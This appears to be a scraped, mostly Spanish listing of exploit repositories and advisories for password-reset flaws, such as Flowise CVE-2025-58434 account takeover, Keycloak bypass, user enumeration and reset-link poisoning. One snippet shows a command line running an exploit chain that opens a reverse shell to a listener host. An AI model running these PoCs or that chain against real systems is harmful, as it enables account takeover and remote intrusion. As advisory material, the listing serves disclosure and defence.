holehe

Holehe OSINT - Correos Electrónicos a Cuentas Registradas 👋 ¡Hola! Para cualquier consulta profesional o colaboración, contáctame en: [email protected] 📧 Preferiblemente, usa tu correo profesional para la correspondencia. ¡Seamos breves y concisos, y todo en inglés! Versión Online de Holehe...

Flowise <= 3.0.5 - Account Takeover

Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts. id: CVE-2025-58434 info: name: Flowise = 3.0.5 - Account Takeover author:...

Flowise-CVE-2025-58434-PasswordReset

CVE-2025-58434 - Flowise AI Unauthenticated Password Reset Overview CVE ID: CVE-2025-58434 Affected Software: Flowise AI Vulnerable Versions: = 3.0.5 Fixed Version: 3.0.6 and later Severity: Critical Author: arensballiu Date: 2025 Description Flowise AI versions up to and including 3.0.5 contain ...

CVE-2025-58434_CVE-2025-59528

CVE-2025-58434CVE-2025-59528 Script PoC CVE-2025-58434 Flowise -lp...

CVE-2025-58434-Unauthenticated-Password-Reset-Flowwise

Toma de Control de Cuenta por Restablecimiento de Contraseña de Flowise ATO Solo para fines de investigación y pruebas! No soy responsable de ningún daño a infraestructura en vivo si esta herramienta no se utiliza según lo previsto. Úsela solo en sistemas que posea o tenga permiso para probar! Us...

CVE-2026-31283

CVE-2026-31283 Descripción La función de contraseña olvidada puede utilizarse para lanzar un ataque de bombardeo de correo electrónico a un correo de la víctima. Puntuación CVSS 3: 7.5 Alta Tipo de ataque Remoto No autenticado Versiones afectadas Versiones anteriores a 19.1.5 Descubierto por: Yaz...

POC-CVE-2026-18963

CVE-2026-18963 — PoC de omisión de autenticación en el flujo de «Olvidé mi contraseña» de Keycloak Prueba de concepto para CVE-2026-18963 , una vulnerabilidad en el flujo de «Olvidé mi contraseña» / selección de credenciales de Keycloak que permite a un atacante alcanzar el paso UPDATEPASSWORD — ...

CVE-2025-58434-PoC

PoC de CVE-2025-58434 Script de prueba de concepto en Python para activar POST /api/v1/account/forgot-password. ⚠️ Solo con fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no posees o sin permiso por escrito para probar es ilegal. Créditos...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Cadena de explotación para dos vulnerabilidades que afectan Flowise -c "id" Shell inversa con clave existente: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Opciones Flag| Descripción ---|--- -t, --target| URL del ob...

CVE-2024-9441

CVE-2024-9441 Descripción de la vulnerabilidad: Este código explota una vulnerabilidad de ejecución remota de código RCE que se produce debido a una sanitización inadecuada de las entradas en una aplicación web basada en PHP. La debilidad específica se encuentra en la funcionalidad de "olvidar...

CVE-2024-34582

CVE-2024-34582 Afecta las últimas versiones de los navegadores web Mozilla y Chrome, Sunhillo Rici5k y Sureline Las versiones más recientes de los servidores web que se ejecutan en los dispositivos Sunhillo son susceptibles a XSS reflejado. La vulnerabilidad se encuentra dentro del parámetro...

CVE-2025-46047

CVE-2025-46047 Silverpeas = 6.4.2 PoC de Enumeración de Usuarios Script de prueba de concepto para demostrar una vulnerabilidad de enumeración de nombres de usuario en las versiones 6.4.1 y 6.4.2 de Silverpeas. Detalles de la Vulnerabilidad Software afectado: Silverpeas Versiones afectadas: 6.4.1...

PT-2026-96298

Name of the Vulnerable Software and Affected Versions Gladys Assistant versions prior to 5.1.0 Description An issue exists where unauthenticated remote attackers can obtain valid password reset tokens for any account. This occurs due to a lack of server-side validation of the client-supplied orig...

CVE-2026-86452

Affected versions of MISP permit unauthenticated or weakly constrained request paths to perform persistent work without adequate input bounds or rate limiting. The users/forgot password-reset endpoint accepted an attacker-controlled email value without first imposing a reasonable length bound or...

CVE-2026-86452 MISP Unauthenticated Mail Endpoints Allow Unbounded Storage Consumption and Request Flooding

Affected versions of MISP permit unauthenticated or weakly constrained request paths to perform persistent work without adequate input bounds or rate limiting. The users/forgot password-reset endpoint accepted an attacker-controlled email value without first imposing a reasonable length bound or...

CVE-2026-86196: Authentication Bypass by Spoofing

Grav API plugin versions before 1.0.20 build password reset links from the untrusted Host header in the forgot-password endpoint, allowing unauthenticated attackers to redirect reset tokens to attacker-controlled domains. Attackers can send password reset requests for any account with a malicious...

CVE-2026-81033

Automatisch reveals whether an address is registered through the response to its forgot-password request. The controller at packages/backend/src/controllers/internal/api/v1/users/forgot-password.js looks the address up and chains a not-found throw onto the query, so an address with no account...

EUVD-2026-66609

Automatisch reveals whether an address is registered through the response to its forgot-password request. The controller at packages/backend/src/controllers/internal/api/v1/users/forgot-password.js looks the address up and chains a not-found throw onto the query, so an address with no account...

CVE-2026-81033 Automatisch through 0.15.0 User Enumeration via Forgot-Password Response Discrepancy

Automatisch reveals whether an address is registered through the response to its forgot-password request. The controller at packages/backend/src/controllers/internal/api/v1/users/forgot-password.js looks the address up and chains a not-found throw onto the query, so an address with no account...

CVE-2026-81033 Automatisch through 0.15.0 User Enumeration via Forgot-Password Response Discrepancy

Automatisch reveals whether an address is registered through the response to its forgot-password request. The controller at packages/backend/src/controllers/internal/api/v1/users/forgot-password.js looks the address up and chains a not-found throw onto the query, so an address with no account...